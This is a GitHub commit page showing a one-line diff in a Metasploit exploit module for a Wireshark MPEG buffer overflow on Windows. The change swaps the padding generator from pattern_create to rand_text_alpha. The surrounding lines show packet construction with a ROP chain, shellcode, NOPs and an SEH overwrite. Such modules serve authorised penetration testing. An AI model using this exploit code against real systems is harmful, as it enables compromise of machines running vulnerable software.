Skip to content

Commit 3861541

Browse files
committed
Add more rand_text_alpha functions
1 parent 7bc546e commit 3861541

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/misc/wireshark_mpeg_overflow.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -99,7 +99,7 @@ def exploit
9999
ropchain = create_rop_chain
100100
packet << ropchain
101101
packet << payload.encoded # Shellcode
102-
packet << pattern_create(target['OffSet'] - 892 - ropchain.length - payload.encoded.length)
102+
packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length)
103103
# SEH pointers overwrite (nseh & seh)
104104
packet << make_nops(4) # nseh
105105
# \0xff is a badchar then we can't make a jump back with jmp $-2000

0 commit comments

Comments
 (0)